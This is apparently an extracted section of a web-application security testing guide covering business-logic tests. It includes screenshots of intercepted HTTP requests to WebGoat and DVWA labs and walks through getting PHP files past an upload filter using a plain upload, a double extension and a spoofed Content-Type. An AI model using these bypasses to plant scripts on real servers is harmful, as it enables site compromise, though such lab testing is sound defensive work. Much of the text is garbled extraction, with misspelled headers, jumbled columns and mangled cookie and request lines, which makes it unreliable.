User-A Accept Accept Accept Refere	<pre>192.160.222.136 gent: Mozilla/5.0 (Wind : text/html,application -Language: en-GB,en;q=G -Bncoding: gzip, deflat r: http://192.168.222</pre>	lows NT 10 n/xhtml+xm).5 :e 136/WebGoa	0.0; Win64; x64; rv:50.0) Gecko/20 1, application/xml;q=0.9,*/*;q=0.8 xt/attack?Screen=17&menu=1700	100101 Fi	refox/	/58.0					
User-A Accept Accept Accept Refere Conten	<pre>19C.160.222.136 gent: Mosilla/5.0 (Wind : text/html,application -Language: en-GB,en;g= -Bncoding: gsip, deflat r: http://192.166.222.i t-Type: application/x-t</pre>	lows NT 10 n/xhtml+xm).5 :e 136/WebGoa ww-form-u).0; Win64; x64; rv:58.0) Gecko/20; al,application/xml;q=0.9,*/*;q=0.8 at/attack?Screen=17amenu=1700 irlencoded	100101 Fi	lrefox/	/58.0					÷.
User-A Accept Accept Accept Refere Conten	<pre>192.160.222.136 gent: Mozilla/5.0 (Wind; t text/html,application -Language: en-GB,en;q=0 -Encoding: gzip, deflat r: http://192.160.222.1 t-Type: application/x=t t-Length: 203</pre>	lows NT 10 h/xhtml+xm).5 :e 136/WebGoa www-form-u).0; Win64; x64; rv:50.0) Gecko/20; al, application/xml;q=0.8; */*;q=0.8 at/attack?Screen=17%menu=1700 irlencoded	100101 Fi	irefox/	'58.0					
User-A Accept Accept Accept Refere Conten Conten Cookie	192.166.222.136 gent: Mozilla/5.0 (Win -Language: en-OB,en;q=' -Bncoding: gzip, deflat r: http://192.160.222.1 t-Type: application/x=t t-Length: 203 : dbx-postmeta=grabit= dby/deservice interest	lows NT 10 h/xhtml+xm).5 :e 136/WebGoa www-form-u)-,1-,2-,3	0.0; Win64; x64; rv:58.0) Gecko/20. 1, application/xml;q=0.9,*/*;q=0.8 at/attack?Screen=174menu=1700 triencoded 1-,4-,5-,5-54dvancedstuff=0-,1-,2- hina.argument/bassisf=mande.	100101 Fi ; securit	.refox/	/58.0 21=0; rez	member_to	ken=Stu3'	/BrwdLCc	PfSwaD7x4g; PHPSESSID=d25655polog21	- j39rkm351rgb0; Server=b3dhc3Bid2I=;
User-A Accept Accept Accept Refere Conten Conten Cookie acopen rails	<pre>192.168.222.136 gent: Mosilla/5.0 (Wint : text/htal,application -Language: en-OB,en.ge(-Bncoding: grip, deflat r: http://152.168.222.1 -Type: application/x=t -Length: 203 : dbx=postmeta=grabit=(divids=swingset,jotto,] divids=swingset,jotto,] </pre>	lows NT 10 h/xhtml+xm J.5 :e 136/WebCoa sww-form-u 0-,1-,2-,3 ohpbb2,red SW1c3Nbb25	0.0; Win64; x64; rv:58.0) Secko/20: Ll,application/xml;q=0.5,*/*;q=0.8 at/attack?Screen=17&menu=1700 wiencoded j4,5_6_6-cadvancedstuff=0-,1.,2- haine; acgroupswithgersistmada; hav0cod2Pkb/17072001%H5/415ham	100101 Fi ; securit NzWmYillN	refox/	/58.0	member_to	ken=Stu3	/BrvdLCc	PfSwaD7x4g; PHPSESSID→d25695polog21 aBis42PbciNNUP5pa5rM2nualBJomd2N62550	.j38rkm351rgb0; Server=b3dhc3BidC2≣=; 2514d250JUTEx4bmbWH02vaX10am0v2W9591
User-A Accept Accept Accept Refere Conten Conten Cookie acopen _rails sARg\$3	192.168.222.136 gent: Mosilla/5.0 (Wink : text/html,application -Language: en-GB,en;qe(-Encoding: guip, deflat r: http://192.168.222.i t-Type: application/x-t t-Length: 203 : dbx-postasta-grabit=(divids=swingset_jotto_) goat_session=8A/780kiD0 D 3D=-bel2250ebeb5437	lows NT 10 //xhtml+xm 0.5 :e 136/WebGoa sww-form-u 0-,1-,2-,3 ohpbb2,red SN1c3Npb25 sla2befdab	0.0; Win64; x64; rv:58.0) Gecko/20. 1, application/xml;q=0.9,*/*;q=0.8 at/attack?Screen=174menu=1700 rrlencoded 1-,4-,5-,6-cadvancedstuff=0-,1-,2- line; acgroupsVithpersistenada; favyGogZFRbc137g32,00HjMSHjdjHjBau dec4ba460165,5 JSSESIOND=08269(H	100101 Fi ; securit NzNmYjI1N SEGB52C4D	vy_leve sy_leve sources	(58.0)1=0; ren (32DY2MW) (0ASD3BE)	member_to Y4BjsAVEk 7FF1	ken=Stu3 iEF9jc3J1	/BrwdLCc) aX3Rwa2W	PfSwaD7x4g; PHPSESSID=d25655polog21 aBjsABkkiNUVEBm€rH2pud1BJcmdRNsJyHD	j30rkm351rgb0; Server=b3dhc3Bid2≣=; z25Tjd2SnJVTEx4bmhVH02vaXI0amQv2VHSBj
User-A Accept Accept Accept Refere Conten Conten Cookie acopen _rails sARg\$3 Author	192.168.222.136 gent: Mosilla/S.0 (Win: : text/html,application -Language: an-GB,en;qq -Encoding: gzip, deflat -Type: application/x t-length: 203 : dbx-postactagrabit=(divids=swingset,joto, goat_session=8h/78bit) D1 3D-b-b1255ebeb54371 ination: Basic d2Vi2379	lows NT 10 //xhtml+xm 0.5 :e 136/WebGoa sww-form-u 0-,1-,2-,3 phpbb2,red SN1c3Npb25 sla2befdab idDp32WJnb	D.0; Win64; x64; rv:58.0) Secko/20: Ll, application/xml;q=0.5,*/*;q=0.8 ac/attack?Screen=1?amenu=1700 uriencoded 3,-4,5,-6-advancedstuff=0-,1-,2- hune; acgroupswithpersistmads: favOcog2FNL57g23200HSN5/343hBad dd=40h4601205; JSESSIONID=0ECSCF0 270	100101 Fi ; securit NzHmYjIlN 8E8B52C4D	irefox/ :y_leve IzQwYjH DF393D:	'58.0 el=0; rem G3ZDYCMWT G0A9D3BE'	member_to Y4BjsAVER 7FF1	ken=Stu3' iEF9jc3Jı	/BrwdLCc) aX3Rwa2Vi	PfSwaD7x4g; PHPSESSID=d25695polog21 BgjsABRkiHUVBBaStH2pud1FJcmdENJyHD	j30:hm35lrgb0; Server=b3dhc3Bid2≣=; 2251jd2SnJVTEx4bmh¥M0ZvaXI0amQvZ¥M9Bj
User-A Accept Accept Accept Refere Conten Conten Cookie acopen _rails sARG\$3 Author Connec	192.168.222.136 gent: Mostlar/s.0 (Wink : text/html,application -Language: an-GB,en;qq = Finceding: grip, deflat :r http://102.168.222.1 t=Type: application/x-t t-Length: 203 (B): 103 (B):	hows NT 10 h/xhtml+xm).5 :e 136/WebGoa www-form-u 0-,1-,2-,3 ohpbb2,red NN1c3Npb25 bla2befdab hdDp32WJnb	D.0; Win64; x84; rv:58.0) Gecko/20. Ll,application/xml;q=0.9,*/*;q=0.8 At/attack?Screen=174menu=1700 rriencoded d:-4-,5-,5-cadvancedstuff=0-,1-,2- fine; acgroupsvithpersist=nada; faWC002FIRk13Tg32300HjBMJdjHBM dee4bA4401265; JSESSIONID=8C9CF0 CSF0	100101 Fi ; securit NzHmYjIlN 8E0B52C4D	irefox/ cy_leve IsQwTjH DF393D0	S8.0 sl=0; res SZDYCMWT	member_to Y4BjsAVEk 7FF1	ken=Stu3' iEF9jc3J1	/BrwdLCc: aX3Rwa2V	PfSwaD7x4g; PHPSESSID =d25655polog2 BjsAEkkiHUVEBæSrH2pudlEJcmdENE3yHD	j30rkm351rgb0; Server=b3dhc3Bid2E=; Z5Tjd2SnJVTEx4bmhWH0ZvaX10amQvZWHSBj
User-A Accept Accept Accept Conten Conten Cookie acopen _rails sARgt3 Author Connec Upgrad	192.168.222.136 gent: Mosllay5.0 (Win: : text/html,application -Language: an-GB,en;qd: -Tmcoding: grip, deflat - Tmcoding: Grip,160.222. : Type: Job 160.222. : Type: Job 160.222. : The second second second second to the second second second second divide-swingset, jotto, goat_session-ShAT980tb; Dt 3D-beiS258ebe5b4971 ination: Basic dTV1225 tion: close = Insecure-Requests: 1	dows NT 10 //xhtml+xm 0.5 = 136/WebGoa www-form-u 0-,1-,2-,3 hplbb2,red EN1c3Npb25 sla2befdab hdDp32WJnb	D.0; Win64; x64; rv:58.0) Gecko/20: Ll,application/xml;q=0.5,*/*;q=0.8 kt/attach?Screen=17&menu=1700 triencoded 1.4-,5-,6-cadvancedstuff=0-,1-,2- hune; acgroupswithpersist=nada; favOco2FRMS137g23200HSW51dy1Bab dd=43b4af81285; JSESSIONID=0829276 2270	100101 Fi ; securit NzNmYjIIN SEOB52C4D	irefox/ cy_leve IzQwTjH DF393D:	'58.0 el=0; res 332DYCMW 50A9D3BE	member_to Y4BjsAVEk 7FF1	ken=Stu3' iEF9jc3J1	/BrvdLCc: aX3Rwa2Vi	PfSwaD7x4g; PHPSRSSID=d25695polog21 uBjsAD7x4g; PHPSRSSID=d25695polog21	j38rhm351rgb0; Server=b3dhc3Bid2≣=; 2257jd2SnJVTEx4bmhWHOZvaXIOamjvZWH9Bj
User-A Accept Accept Accept Conten Cookie acopen _rails sARg%3 Author Connec Upgrad	192.168.222.136 gent: Mostla/S.0 (Win: : text/html,application -Language: an-GD_en;qq: = Fictorian: grip, deflat : thrp://102.160.222.1 : dbx-postmataget.jotto.j (dvids=swingst.jotto.j (dvids=swingst.jotto.j goat_seesion=BA/TBOk.D D 10D-bel525beb5b4591 ination: Basic d7V1229 ion: close = Insecure=Request: 1	dows NT 10 //xhtml+xm 0.5 := 136/WebGoa www-form-u 0-,1-,2-,3 shpbb2,red N1c3Npb25 sla2befdab ndDp32WJnb	D.0; Win64; x64; rv:56.0) Gecko/20. Ll, application/xml;q=0.9,*/*;q=0.8 at/attack?Screem=17&menu=1700 mriencoded i-,4-,5-,5-cadvancedstuff=0-,1-,2-, lines, acgroupsithpersistenada; faWC002FRhcL3Tg22300HjHSHjdHjBaL deedbAc401265; 3SESSIOHID=88:05FH CF0	100101 Fi ; securit NzNmVjI1N SEOB52C4D	irefox/ :y_leve IzQwYjH)F393D:	'58.0 hl=0; re: 132DY1MW7 10A9D3BE7	member_to Y4BjsAVEk 7FF1	ken=Stu3 iEF9jc3Jn	7BrvdLCc: aX3Rva2V	PfSwaD7x4g; PHPSESSID=d25695polog2 uBjsAFktiMUVBDmSrM2pudlBJcmdDMsJyMD	j38;hm361rgb0; Server=b3dhc3Bid2E=; ZSTjd2SnJVTEx4bmhWH0ZvaX10amQvZWH9Bj
User-A Accept Accept Accept Refere Conten Conten Conten _rails sARg%3 Author Compac Upgrad fieldl	<pre>19c.168.202.136 gent: Mosllay's O (Win: text/html,application - Language: an-GB_en;qr - Throodung: grlp, deflay - Throodung: grlp, deflay - trype: application/x-r t - Length: 203 ora_ession=8h780h19 D 3D-b-b19259ebeb4970 itation: Dasic dfVi2392 iton: close = Insecure=Requests: 1 = hesit03122136feld2= defs1486</pre>	dows NT 10 //xhtml+xm 0.5 = 36/WebGoa www-form-u 0-,1-,2-,3 phpbb2,red N1c3Mpb22 1a2befdab hdDp32WJnb	0.0; Win64; x64; rv:58.0) Gecko/20: al, application/xml;q=0.9,*/*;q=0.8 at/attack?Screen=174menu=1700 irlencoded =-,4-,5-,6-cadvancedstuff=0-,1-,2- line;a_cgroupsvillepersize=nada; isavGoogFibeLiJTg223_00HJMSH3dJHJBad de43bA4f01205; JSESSIONID=08CSCF0 22F0	100101 Fi ; securit N=NmVjIIN 0E0852C4D 498021834	irefox, :y_leve IsQwTjH F393D:	(58.0)=0; rep (32DYCMW) (0A9D3BE) (\$Cafield	member_to 14BjsAVE: 7FF1 d4=seven1	ken=Stu3' 18F9jc3J1 \$€[#8\$#8	7BrvdLCc: aX3Rva2V \$£field	PfSwaD7x4g; PHPSESSID=d26695polog24 BjsAPkkiHUVBPmStH2pudlBJcmdBNsJyHD 5=9021mmfmffgf90ffield6=90210-115AI	j30rhm351rgb0; Server=b3dhc3Bid28=; ;25Tjd2SnJVTKx4bmhVM02vaXl0amQv2VM5Bj ;7ADSF#g1;#g1411&field7=301-604-4882a
User-A Accept Accept Accept Refere Conten Co	<pre>19c.168.ccc.136 gent: Mosila/S.0 (Win: text/html,application -Language: an-OB_en;qq: Trote;/105.168.cccc. trype: application/x-t trype: application/x-t trype: application/x-t torypestastarypestastarypestastarypestastarypestastarypestastarypestastarypestastarypestastarypestastarypest.goto. goto.secsion=SAA/TBOLD; too:nclose enscure=Requests: 1 application216fieldd= dsg:1885</pre>	lows NT 10 1/xhtml+xm).5 :e 336/WebGoa sww-form-u 0-,1-,2-,3 hppbb2,red NN1c3Npb55 blaCbefdab blaCbefdab	0.0; Win64; x64; rv:58.0) Gecko/20. 1, application/xml;q=0.9,*/*;q=0.8 At/attack?Screem=17amenu=1700 Iriencoded 3-,4-,5-,6-advancedstuff=0-,1-,2-, Inine; acgroupsuithgersistenada; faWQG0gFIRt37g32;00MjHSHjdHjBaL GetBback01265, JSESSIOHD=0255F4 2F0 Manamatfield3=abc+123+AB+234010230;	100101 Fi ; securit NSNmVjIIN 08085224D 498021834	irefox, :y_leve IsQwTjH F393D: IB#####	'58.0 bl=0; res 132DV1MW 10A9D3BE 19Cafield	member_to 74BjsAVEr 7FF1 d4=seven1	ken=Stu3' iBF9jc3J \$\$!#8\$#8	/BrvdLCc: aX3Rva2V (\$&field	PfSwaD7x4g; PHPSESSID=d25695polog2 MBjsAD7x4g; PHPSESSID=d25695polog2 MBjsAD2x4MUVBBmSrH2pudlBJcmdBHzJyMD S=9021mmfm8f8gf10cfield6=90210-115AI	138:fm381rgb0; Server=b3dhc3Bid2≣=; 28573d2SnJVTE×4bmhWHOZvaX10amQvZWH9B3 17AD8F#@15#@1411&field7=301-604-4882a





Refer

• All Input Validation test cases

4. Test for Process Timing

How to Test

- Review the project documentation and use exploratory testing looking for application/system functionality that may be impacted by time. Such as execution time or actions that help users predict a future outcome or allow one to circumvent any part of the business logic or workflow
- Develop and execute the misuse cases ensuring that attackers can not gain an advantage based on any timing

Refer

- Testing for Cookies attributes
- Test Session Timeout

5. Test Defense Against Application Misuse

The misuse and invalid use of valid functionality can identify attacks attempting to enumerate the web application, identify weaknesses, and exploit vulnerabilities.

How to test

• All other test cases are relevant

6. Test Upload of Unexpected File Types

Many application's business processes allow for the upload and manipulation of data that is submitted via files.

How to Test

- Review the project documentation and performsome exploratory testing looking for file types that should be "unsupported" by the application/system.
- Try to upload these "unsupported" files an verify that it are properly rejected.
- If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated.
- Study the applications logical requirements.
- Prepare a library of files that are "not approved" for upload that may contain files such as: jsp, exe, or html files containing script.
- In the application navigate to the file submission or upload mechanism.
- Submit the "not approved" file for upload and verify that they are properly prevented from uploading.

Test Example

• Basic file upload

i 192.168.222.136/dvwa/vulnerabilit	ies/upload/	♥ ☆	Q Search
	DVWA		
Home Vul Instructions Ch Setup Erute Force U	nerability: File Upl oose an image to upload: rowse 1shell.php Ipload	load	
(i) 192.168.222.136/dvwa/vulnerabili	ties/upload/#	💟 🕁	Q Search
	DVWA		
Home	Inerability: File Up	load	
Instructions	noose an image to upload:		
Setup	Browse No file selected.		
Brute Force	Upload		
Command Execution	//hackable/uploads/1shell	.php succesfully uploaded!	
CSRF			
root@owaspbwa:/# cd /var dom-xss-example.html du root@owaspbwa:/# cd /var root@owaspbwa:/war/www//	Yuww/d wa∕ Ywww/dvwa∕ luwa# ls		
about.php dvwa	index.php	php.ini vulne	rabilities
CHANGELOG.md external	instructions.php	README . md	
CONFig favicon.ic	o login.php	robots.txt	
docs ids log.pl	phpinfo.php	setup.php	
root@owaspbwa:/var/www/d	lvwa# cd hackable∕		
root@owaspbwa:/var/www/d	lvwa∕hackable# ls		
uploads users rootRowasphua'/war/www/d	luwazhackablett od uni	loads/	
root@owaspbwa:/var/www/d	lvwa/hackable/uploads	s# ls	
1shell.php_dvwa_email.p	mg		
root@owaspbwa:/var/www/d	lvwa/hackable/uploads	5#	
192.168.222.136/dvwa/hackal	ole × +		
← → ♂ ŵ	i 192.168.2	22.136/dvwa/hackable/up	oads/1shell.php

- manhnho
- Double Extension Injection Technique

(i) 192.168.222.136/dvwa/vulner	abilities/upload/			🛡 🏠	Q Search
	D	YWA			
Home Instructions Setup Brute Force Command Execution	Vulnerability: Fi Choose an image to upload: Browse 2shell.php Upload	le Uploa	ıd		
102 http://192.168.222.136 POST	/dvwa/vulnerabilities/upload/	√	200 521	4 HTML	Damn Vulnerable Web A
Request Response					
Raw Params Headers Hex					
Content-Disposition: form-data; name=	11942 ="MAX_FILE_SIZE"				
100000	11942				
Content-Disposition: form-data; name= Content-Type: application/octet-strea	="uploaded"; filename=" <mark>2shell.</mark> am	php"			
Manhnho					
49129951 Content-Disposition: form-data; name=	11942 "Upload"				
102 http://192.168.222.136 POST /dv/	wa/vulnerabilities/upload/ 🗸	200	5214 HTML	Damn Vu	Inerable Web A 1
Request Response					
Raw Headers HEX HTML Render HTTF/1.1 200 0K HTTF/1.1 200 0K Date: Mon.12 Mar 2018 03:15:48 GMT Server: Apache/2.2.14 (Ubuntu) mod_mono/2. Phusion_Passenger/4.0.38 mod_pert/2.0.4 Pert/2.0.4 Phusion_Passenger/4.0.38 mod_pert/2.0.38 mod_pert/2.0.4 Pert/2.0.4 Pert/2.0.4 Cache-Control: norache, must-revalidate Pragma: nor-cache Yary: Accept-Encoding Content-Length: 4700 Content-Length: 4700 Content-F8 Content-Type: text/html;charset=utf-8 F8 F8 F8	4.3 PHP/5.3.2-lubuntu4.30 with Suh rl/v5.10.1	osin-Patch proxy_b	ntml/3.0.1 mod_pyt	hon/3.3.1 Python/	2.6.5 mod_ss1/2.2.14 OpenSSL/0.9.8k
<pre>Your image was not uploaded.</pre>	.0 Strict//EN" "http://www.w3.org/	TR/shtml1/DTD/shtm	al1-strict.dtd">		
File nar 2shell	2shell.php ne	name			

	http://192.168.222.136	POST	/dvwa/vulnerabilities/uplo	oad/ 🗸	~	200	5232	HTML	Damn Vulnerable Web A
Origi	nal request Edited requ	est Response					_		
Raw	Params Headers	Hex							
Conter	nt-Disposition: for	9894287 m-data; name	0323811 ="MAX_FILE_SIZE"						
100000	3								
Conter Conter	nt-Disposition: fo nt-Type: image/png	9894287 m-data; name	"U323811 =="uploaded"; filename	e="2shell.php.png"					
Manhnl	10								
Conter	nt-Disposition: fo	9894287 m-data; name	0323811 =="Upload"						
Upload	1	9894287	0323811						
129	http://192.168.222.136	POST	/dvwa/vulnerabilities/upl	load/ 🗸	~	200	5232	HTML	Damn Vulnerable Web A
Origi	inal request Edited requ	est Response]				_		
Raw	Params Headers	Hex							
Conter	nt-Disposition: fo	9894287 rm-data; name	70323811 e="MAX_FILE_SIZE"						
100000	5								
Conter Conter	nt-Disposition: fo nt-Type: image/png	9894287 rm-data; name	70323811 e="uploaded"; filenamo	e=" <mark>2shell.php</mark> "					
Manhnl	no								
Conter	nt-Disposition: fo	9894287 m-data; name	70323811 =="Upload"						
Conter Upload	nt-Disposition: fo	9894287 rm-data; name	70323811 e="Upload"						
Conter Upload	ht-Disposition: fo	989428' m-data; name 989428' POST	70323811 =="Upload" 70323811 /dywa/yulnerabilities/uplo	load/ J	J	200	5232	НТМІ	Damo Vulnerable Web A
Conter Upload	nt-Disposition: fo	989428' m-data; name 989428' POST	70323811 =="Upload" 70323811 /dvwa/vulnerabilities/upl	load/ 🗸	V	200	5232	HTML	Damn Vulnerable Web A
Conter Upload	nt-Disposition: fo d http://192.168.222.136 mai request Edited requ	989428' rm-data; name 989428' POST est Response	70323811 =="Upload" 70323811 /dvwa/vulnerabilities/upl	load/ 🗸	√	200	5232	HTML	Damn Vulnerable Web A
Conter Upload	nt-Disposition: fo http://192.168.222.136 nal request Edited requ Headers Hex HT	989428' m-data; name 989428' POST est Response ML Render	70323811 =="Upload" 70323811 /dvwa/vulnerabilities/upl	load/ ✓	✓ 	200	5232	HTML	Damn Vulnerable Web A
Conter Upload	nt-Disposition: fo http://192.168.222.136 nal request Edited requ Headers Hex HT 	989428' rm-data; name 989428' POST est Response ML Render <input type="</td"/> <td>70323811 ="Upload" 70323811 /dvwa/vulnerabilities/upl ///////////////////////////////////</td> <td>load/ 🗸 d" value="Upload" /</td> <td>✓ ></td> <td>200</td> <td>5232</td> <td>HTML</td> <td>Damn Vulnerable Web A</td>	70323811 ="Upload" 70323811 /dvwa/vulnerabilities/upl ///////////////////////////////////	load/ 🗸 d" value="Upload" /	✓ >	200	5232	HTML	Damn Vulnerable Web A
Conter Upload	nt-Disposition: fo d http://192.168.222.136 nal request Edited requ Headers Hex HT <pre></pre>	<pre>989428' rm-data; name989428' POST est Response ML Render <input type="(/hackable)</pre"/></pre>	70323811 =="Upload" 70323811 /dvwa/vulnerabilities/upl /dvwa/vulnerabilities/upl ="submit" name="Upload /uploads/2shell.php su	load/ ✓ d" value="Upload" / uccesfully uploaded	<pre> / / / / / / / / / / / / / / / / / / /</pre>	200	5232	HTML	Damn Vulnerable Web A
Conter Upload Origi Raw	nt-Disposition: fo d http://192.168.222.136 nal request Edited requ Headers Hex HT teowaspbwa	989428' rm-data; name989428' POST est Response ML Render	70323811 =="Upload" 70323811 /dvwa/vulnerabilities/upl /uploads/2shell.php su /uploads/2shell.php su	load/ / d" value="Upload" / uccesfully uploaded ckable/upl	v > !	200 # 1s	5232	HTML	Damn Vulnerable Web A
Conter Upload Origi Raw	nt-Disposition: fo a http://192.168.222.136 nal request Edited requ Headers Hex HT t@owaspbwa ell.php	<pre>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>></pre>	70323811 =="Upload" 70323811 /dvwa/vuinerabilities/upl :"submit" name="Upload /uploads/2shell.php su /uploads/2shell.php su /uwu/dvwa/ha a i l.pmg	d" value="Upload" / uccesfully uploaded ckable/upl	v > I	200 # 1s	5232	HTML	Damn Vulnerable Web A
Conter Upload Origi Raw POO	nt-Disposition: fo a http://192.168.222.136 nal request Edited requ Headers Hex HT t@owaspbwa ell.php of t@owaspbwa ell.php of	<pre>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>></pre>	70323811 =="Upload" 70323811 /dvwa/vulnerabilities/upl ="submit" name="Upload /uploads/2shell.php su /uwu/dvwa/ha a il.png /uwu/dvwa/ha	<pre>bad/ √ d" value="Upload" / uccesfully uploaded ckable/upl ckable/upl mail num</pre>	v > ! oads	200 # 1s # 1s	5232	HTML	Damn Vulnerable Web A
Conter Upload Origi Raw CO 1sh roo	nt-Disposition: fo http://192.168.222.136 nal request Edited requ Headers Hex HT t@owaspbwa ell.php of t@owaspbwa ell.php of t@owaspbwa ell.php of t@owaspbwa	<pre>set Response ML Render </pre> <pre>A://wackable/ </pre>	70323811 =="Upload" 70323811 /dvwa/vulnerabilities/upl = submit" name="Upload /uploads/2shell.php su /uwu/dvwa/ha a il.png /uwu/dvwa/ha php dvwa_e /uwu/dvwa/ha	^{load/} √ d ["] value=" ^U pload" / uccesfully uploaded ckable/upl mail.png ckable/upl	v > ! oads oads	200 # 1s # 1s # _	5232	HTML	Damn Vulnerable Web A
Conter Upload Origi Raw Raw Too 1sh roo	nt-Disposition: fo http://192.168.222.136 nal request Edited requ Headers Hex HT t@owaspbwa ell.php of t@owaspbwa ell.php of t@owaspbwa ell.php of t@owaspbwa 192.168.222.13	<pre>set Response ML Render </pre> <pre>A:/Uar/ LUWA_em A:/Uar/ Shell. A:/Uar/ Bookshell. A:/Uar/ Bookshell. A:/Uar/ Bookshell. Bookshel</pre>	70323811 =="Upload" 70323811 /dvwa/vulnerabilities/upl ="submit" name="Upload /uploads/2shell.php st /uwu/dvwa/ha a i l.png /uwu/dvwa/ha php dvwa/ha hackable x +	^{load/} √ d ["] value=" ^U pload" / uccesfully uploaded ckable/upl ckable/upl ckable/upl ckable/upl	v > ! oads oads	200 # 1s # 1s # _	5232	HTML	Damn Vulnerable Web A
Conter Upload Origi Raw Cong Raw	nt-Disposition: fo http://192.168.222.136 nal request Edited requ Headers Hex HT t@owaspbwa ell.php a t@owaspbwa ell.php a t@owaspbwa ell.php a t@owaspbwa 192.168.222.13	<pre>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>></pre>	70323811 =="Upload" 70323811 /dvwa/vuherabilities/upl :/uploads/2shell.php su /uploads/2shell.php su /uwu/d.vwa/ha php d.vwa/ha php d.vwa/ha php d.vwa/ha php d.vwa/ha	load/ / d" value="Upload" / uccesfully uploaded ckable/upl ckable/upl ckable/upl ckable/upl	v > ! oads oads	200 # 1s # 1s # _	5232	HTML	Damn Vulnerable Web A
Conter Upload Origi Raw Cong Raw Cong Salar Cong Salar Cong Salar Cong Salar Cong Salar Cong Salar Cong Salar Cong Salar Cong Salar	nt-Disposition: fo a http://192.168.222.136 nal request Edited requ Headers Hex HT t@owaspbwa ell.php a t@owaspbwa ell.php a t@owaspbwa ell.php a t@owaspbwa bwa bwa bwa t@owaspbwa bwa bwa t@owaspbwa bwa bwa t@owaspbwa bwa bwa t@owaspbwa bwa t@owaspbwa bwa t@owaspbwa bwa t@owaspbwa bwa t@owaspbwa bwa t@owaspbwa bwa t@owaspbwa bwa t@owaspbwa bwa t@owaspbwa bwa t@owaspbwa t@owaspbwa bwa t@owaspbwa t@owaspbwa t@owaspbwa t@owaspbwa t@owaspbwa t@owaspbwa t@owaspbwa	<pre>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>></pre>	70323811 =="Upload" 70323811 /dvwa/vuherabilities/upl :/uploads/2shell.php su /uploads/2shell.php su /uwu/d.vwa/ha php d.vwa/ha php d.vwa/ha php d.vwa/ha php d.vwa/ha	load/ / d" value="Upload" / uccesfully uploaded ckable/upl ckable/upl mail.png ckable/upl - (i) 192.168	v oads oads oads	200 # ls # ls # _	5232	HTML	Damn Vulnerable Web A

Manhnho

• Content Type file Upload

(i) 192.168.222.136/dvwa/vul	nerabilities/upload/			… 🛡 ☆	Q Search
	DV	WA			
Home	Vulnerability: File	e Upload	1		
Instructions	Choose an image to upload:				
Setup	Browse 2shell.php				
Brute Force	Upload				
Command Execution					
102 http://192.168.222.136 PO	ST /dvwa/vulnerabilities/upload/	1	200 5214	HTML	Damn Vulnerable Web A
Request Response					
Raw Params Headers Hex					
Content-Disposition: form-data; na	9511942 me="MAX_FILE_SIZE"				
100000					
Content-Disposition: form-data; na Content-Type: application/octet-st	9511942 me="uploaded"; filename=" <mark>2shell.php</mark> ream	н 1			
Manhnho					
49129 Content-Disposition: form-data; na	9511942 me="Upload"				
102 http://192.168.222.136 POST	/dvwa/vulnerabilities/upload/	200 521	4 HTML	Damn Vulne	rable Web A 1
Request Response					
Raw Headers Hex HTML Render					
<pre>HTTP/1.1 200 0K Date: Mon, 12 Mar 2018 03:15:48 GMT Server: Apache/2.2.14 (Ubuntu) mod_mono, Phusion_Passenger/A.0.38 mod_per1/2.0.4 Represender: Source and Server and Ser</pre>	/2.4.3 PHP/5.3.2-lubumtu4.30 with Suhosi Perl/v5.10.1 e	n-Patch proxy_htm.	1/3.0.1 mod_pyth	on/3.3.1 Python/2.	6.5 mod_ss1/2.2.14 OpenSSL/0.9.8k
<pre>Your image was not uploaded.</pre> <td>L 1.0 Strict//EN" "http://www.w3.org/TR/</td> <td>xhtml1/DTD/xhtml1</td> <td>-strict.dtd"></td> <td></td> <td></td>	L 1.0 Strict//EN" "http://www.w3.org/TR/	xhtml1/DTD/xhtml1	-strict.dtd">		
146 http://192.168.222.136 POS	T /dvwa/vulnerabilities/upload/	√ √	200 5232	HTML	Damn Vulnerable Web A
Original request Edited request Response	1				
Raw Params Headers Hex Upgrade-Insecure-Requests: 1					
282536 Content-Disposition: form-data: nam	86825547				
100000	~				
282536 Content-Disposition: form-data; nam Content-Type: application/octet-str	86825547 e="uploaded"; filename="3shell.php" eam				
php Manhnho ?					
282536 Content-Disposition: form-data; nam	86825547 e="Upload"				
Upload282536	86825547				

146	http://192	.168.222.136	POST	/dvwa/vulnerabilities/upload/	1	\checkmark	200	5232	HTML	Damn Vulnerable Web A
Origi	nal request	Edited request	Response							
Raw	Params	Headers He	×							
Conte	nt-Dispos	sition: form	28253686) -data; name=	825547 "MAX_FILE_SIZE"						
10000)			975547						
Conte Conte	nt-Dispos nt-Type:	sition: form [.] image/png	-data; name=	"uploaded"; filename="3shell.pl	hp"					
php</td <td>Manhnho</td> <td>?></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>	Manhnho	?>								
Conter	nt-Dispos	sition: form	28253686 data; name=	825547 "Upload"						
Uploa	1		28253686	825547						
146	http://192	.168.222.136	POST	/dvwa/vulnerabilities/upload/	√	\checkmark	200	5232	HTML	Damn Vulnerable Web A
Origi	nal request	Edited request	Response					_		
Origi Raw	nal request Headers	Edited request	Response							
Origi	nal request Headers	Edited request B Hex HTML <: 	Response Render input type="s	submit" name="Upload" value="Up	bload" />					
Origi	nal request Headers	Edited request S Hex HTML <pre>/.</pre>	Response Render input type="; /hackable/ug	submit" name="Upload" value="Up ploads/3shell.php succesfully v	pload" /> ploaded! <td>ore></td> <td></td> <td></td> <td></td> <td></td>	ore>				
Raw	Headers	Edited request <u>Edited request</u> <u>Edited request</u> <u>Edited request</u> <u>Edited request</u> <u>Edited request</u> <u>Edited request</u>	Response Render Input type=": /hackable/ug	submit" name="Upload" value="Up ploads/3shell.php succesfully v	pload" /> ploaded! <td>)re></td> <td></td> <td></td> <td></td> <td></td>)re>				
Origi Raw	Headers	Edited request s Hex HTML <pre>/ spbwa://</pre>	Response Render input type="; /hackable/ug	submit" name="Upload" value="Up ploads/3shell.php succesfully u w/dvwa/hackable/uj	ploadst	ore>				
origi Raw	<pre>//div //div /</pre>	Edited request a Hex HTML <pre></pre>	Response Render Input type="; /hackable/up /Uar/WWI Ja_CMai	submit" name="Upload" value="Up ploads/3shell.php succesfully v w/dvwa/hackable/uj l.png	pload" /> ploaded! <td>ore></td> <td>3</td> <td></td> <td></td> <td></td>	ore>	3			
